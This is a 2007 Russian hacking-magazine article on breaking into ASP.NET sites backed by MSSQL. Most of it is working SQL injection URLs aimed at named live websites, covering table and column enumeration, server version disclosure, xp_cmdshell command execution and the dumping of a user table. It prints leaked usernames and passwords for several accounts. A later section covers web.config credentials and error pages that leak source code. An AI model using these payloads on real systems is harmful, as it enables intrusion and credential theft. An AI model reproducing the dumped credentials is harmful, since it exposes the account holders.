Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #100, АПРЕЛЬ 2007 г.

Атакуем aspx-движки

Леонид «R0id» Стройков

Хакер, номер #100, стр. 070

(r0id@mail.ru)

Уязвимости проектов на базе ASP.NET

Несмотря на львиную долю *nix-серверов в сети, многие крупные компании предпочитают использовать Windows. Причем зачастую движки таких ресурсов пишутся на ASP, а в качестве БД выбирается MSSQL. Конечно, ASP-скрипты (расширение asp) могут лежать и на никсовых серверах, но вот платформа ASP.NET (расширение aspx) рассчитана исключительно на винду. В сети мало хороших секьюрити-мануалов, посвященных уязвимостям движков на базе ASP.NET, поэтому в своей статье я затрону именно эту тему. Читай внимательно, все примеры, как обычно, я рассмотрю на практике :).

Особенности MSSQL

Как ты понимаешь, платформа ASP.NET создавалась мелкомягкими под винду. Поэтому и атаковать на этот раз нам придется Windows-серверы. Как правило, в таком случае в качестве БД выбирают MSSQL, и при обнаружении инъекта мы будем иметь дело отнюдь не с мускулом. В журнале уже не раз писалось о sql-injection, но материал преимущественно сводился к потрошению MySQL-базы. Между тем, как известно, синтаксисы MySQL и MSSQL заметно разнятся. Не буду сейчас рассказывать о таких вещах, как различное обозначение комментариев, - думаю, ты и сам разберешься =). Но вот о такой интересной вещи, как INFORMATION_SCHEMA в MSSQL, мы поговорим. INFORMATION_SCHEMA представляет собой стандартную базу, включающую в себя таблицы с указанием названий таблиц и колонок. Эта фича позволяет нам отбросить брут и узнать названия в считанные минуты :). На практике это выглядит так:

www.onlinecasinoreports.com/news_show_cat.asp?cat=1%27+union+select+1,table_name,3+from+information_schema.tables--

К счастью, казиношные сайты тоже не обделены багами :). Инъект здесь налицо, я подобрал количество полей (3) и сделал выборку колонки table_name из таблички tables, хранящейся в стандартной для MSSQL базе information_schema. Аналогичным запросом получаем данные обо всех колонках:

www.onlinecasinoreports.com/news_show_cat.asp?cat=1%27+union+select+1,column_name,3+from+information_schema.columns--

Кверя отличается лишь названием колонки - column_name и табличкой - columns, а база все та же - information_schema. Кстати, в MySQL база information_schema появилась лишь в пятой версии, с целью совместимости названия таблиц и полей остались такими же, как и в MSSQL. information_schema - весьма удобная вещь, которая не раз выручала меня при взломе :). Еще одна полезная прибамбасина в MSSQL - определение версии ОС на сервере и версии MSSQL-сервера. Составим следующий запрос к базе:

www.onlinecasinoreports.com/news_show_cat.asp?cat=1%27+union+all+select+1,@@version,3--

Ответ вполне ожидаем:

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1)

Полагаю, комментарии тут излишни. Если ты видишь, что стоит бажная ось или на машине крутится непропатченная версия MSSQL-сервера, - флаг тебе в руки =). Кроме того, при удачном раскладе, ты можешь получить шелл в системе. В MSSQL есть возможность выполнения команд через sql-запрос. Осуществляется это действие при помощи нехитрой конструкции вида:

exec master..xp_cmdshell "команда"--

В кавычки вставляется команда, которую ты желаешь выполнить. В готовой квери запрос примет вид:

www.bag_site.com/index.asp?Name=1%27;exec%20master..xp_cmdshell%20%22netstat%22--

В случае успеха, мы получим результат выполнения команды netstat. Однако обрати внимание на символ ";" перед основной конструкцией запроса. Дело в том, что в MSSQL можно разделять запросы при помощи ";". В нашей ситуации мы закрываем предыдущую кверю и создаем свою, новую. Правда, хочу тебя огорчить - часто бывает так, что прав на выполнение команд не хватает и сервер возвращает ошибку:

[Microsoft][ODBC SQL Server Driver][SQL Server]EXECUTE permission denied on object 'xp_cmdshell', database 'master', owner 'dbo'.

В такой ситуации нужно искать другие пути решения проблемы. Поверь, они есть =). Определенные трудности на первых порах могут возникнуть из-за отсутствия автоматического преобразования типов полей. Ответ с ошибкой обычно выглядит так:

Microsoft SQL Native Client error '80040e07'

Operand type clash: ntext is incompatible with int

В MySQL такой проблемы нет, а вот в MSSQL все придется делать вручную. Реализовать преобразование типа поля можно при помощи cast(). Синтаксис предельно понятен, и затруднений вызвать у тебя не должен. Поэтому обратимся к примеру, вернемся к нашему казино:

www.onlinecasinoreports.com/news_show_cat.asp?cat=1%27+union+select+1,cast(id+as+nvarchar)%2bchar(58)%2bname+%2bchar(58)%2bpassword%2bchar(58)%2bcast(is_admin+as+nvarchar),3+from+CPC_USERS+--

Как ты видишь, запрос успешно выполнился, и мы получили то, что хотели (кусок):

1/4/1900 1:Alex:amitpass:1

1/4/1900 10:ruby_fortune:ru591f01r:0

1/4/1900 100:vegas_towers:u540ibon:0

1/4/1900 101:SunPalace:5Goph228a:0

1/4/1900 102:backup:bba01gn2:0

1/4/1900 103:CasinoTropez:iu518v8jan:0

1/4/1900 104:club_world:co119fna8:0

1/4/1900 105:vipprofits:2alkshgas:0

1/4/1900 106:GoldenRivera:ka910nb:0

1/4/1900 107:newsletters:990an38na1:0

1/4/1900 108:IPMarketing:94h0an3c8na1:0

Одним из существенных недостатков синтаксиса MSSQL является отсутствие LIMIT'а. В мускуле с помощью него очень удобно листать значения полей при реализации очередной инъекции. Но мелкомягкие в своем продукте лишили нас такой возможности. И все же выход есть. Листать записи в таблице можно TOP'ом. Процедура геморройная, но вполне осуществимая:

eventvibe.com/divas/Default.asp?m=6_1_2004%27+union+select+top+1+1,2,3,4,id,6,7,8,9,10,14,12,email,14,15+from+users--

В этом запросе, при реализации инъекции, нам остается лишь подменять значение, идущее за TOP'ом. Например, так:

eventvibe.com/divas/Default.asp?m=6_1_2004%27+union+select+top+2+1,2,3,4,id,6,7,8,9,10,14,12,email,14,15+from+users++--

Можно составить более продуманную кверю:

eventvibe.com/divas/Default.asp?m=6_1_2004%27+union+select+top+1+1,2,3,4,id,6,7,8,9,10,11,12,email,14,15+from+users+where+email+not+in+(select+top+8+email+from+users)+--

Как видишь, здесь уже дополнительное условие содержит в себе TOP.

Премудрости ASP.NET

С MSSQL частично разобрались, плавно переходим к aspx-скриптам и самой платформе ASP.NET. Как я уже говорил, ASP.NET не просто новая версия ASP. Она была написана мелкомягкими фактически с нуля, поэтому и включает в себя базовые концепции безопасности. В общем виде их три:

*аутентификация

*авторизация

*заимствование прав

Первый пункт объяснять, надеюсь, не нужно :). Но основные типы аутентификации, реализуемые в связке IIS+ASP.NET, все же рассмотрим.

1. Anonymous Access - анонимный доступ. Здесь все просто. Любой юзер может получить доступ к веб-контенту.

2. Basic Authentication - базовая аутентификация. В этом случае юзеру предоставляется диалоговое окно регистрации, вводимые данные кодируются алгоритмом Base64 и отправляются прямо к IIS. Затем вбитая учетка сравнивается с выставленными правами для данного ресурса, и пользователь получает ответ. Что такое Base64 и с чем его едят, полагаю, говорить не надо. Для расшифровки подобного хэша в PHP достаточно использовать функцию base64_decode().

3. Digest Authentication - этот тип аутентификации также предполагает отправку шифрованного хэша учетки серверу для проверки на достоверность. Однако работает только под Осликом и с web-сервисами .NET.

Кроме того, имеется в наличии еще и интегрированная аутентификация Windows, с которой ты, скорее всего, встречался не раз. Так вот если анонимный доступ отключен и все остальные типы аутентификации находятся в ауте, то IIS автоматом запускает именно виндовую интегрированную аутентификацию.

Следующий любопытный момент – это заимствование прав. Суть технологии заключается в заимствовании прав юзера при обработке его запроса. Для анонимных запросов ASP.NET использует свою специальную учетку с именем ASPNET. Настроить учетку можно в конфиге machine.config, причем по дефолту элемент <processModel> содержит такую запись:

useame = "machine"

password = "AutoGenerate"

Еще один наглядный пример - конфиг web.config. Он лежит в корне ресурса и имеет следующий вид.

<configuration>

<system.web>

<authentication mode = "Windows|Passport|Forms|None">

# параметры аутентификации

</authentication>

<authorization>

# юзеры, имеющие доступ к приложению

</authorization>

<identity>

# указание на заимствование прав

</identity>

</system.web>

</configuration>

Нас интересует заимствование прав:

<configuration>

<system.web>

<identity impersonate = "true"

useame = "MyUseame"

password = "MyPassword" />

</system.web>

</configuration>

Обрати внимание на то, что пасс лежит в конфиге в открытом виде!

Еще один занимательный раздел конфига web.config - <custom.Errors>. Он определяет поведение ASP.NET при возникновении ошибок:

<configuration>

<system.web>

<customErrors mode = "Off" />

</system.web>

</configuration>

Существуют три значения для атрибута mode.

1. RemoteOnly - страница ошибки и сорец скрипта будут показаны только при вызове скрипта с локалхоста. Для остальных юзверей происходит редирект на ошибку IIS.

2. On - в этом случае отображаются специальные страницы ошибок. Очень часто админы вешают фейковые ерроры.

3. Off - самый вкусный момент =). Если mode установлен в Off, то при вызове ошибки ты увидишь полный сорец скрипта. Комментарии излишни.

По дефолту mode присвоено значение RemoteOnly, хотя мне не раз встречались ресурсы, демонстрирующие третий вариант :).

Послесловие

Как ни старайся, но уместить весь желаемый материал в одной статье не удается. Надеюсь, ты понял, что взлом aspx-движков - вполне решаемая задача. Мне не раз встречались с виду неприступные серверы, админы которых халатно относились к конфигурации ASP.NET и функционированию скриптов. Конечно, существуют и довольно сложные моменты, но чем сложнее система - тем она интереснее =).

Danger

Внимание! Информация дана исключительно в ознакомительных целях! Ни автор, ни редакция за твои действия ответственности не несут!

Info

information_schema - весьма удобная стандартная база в MSSQL, которая не раз выручала меня при взломе. Никогда не забывай о ней.

Info

Пароль учетной записи в конфиге web.config по дефолту находится в открытом виде, помни это :).

Содержание
ttfb: 4.1558742523193 ms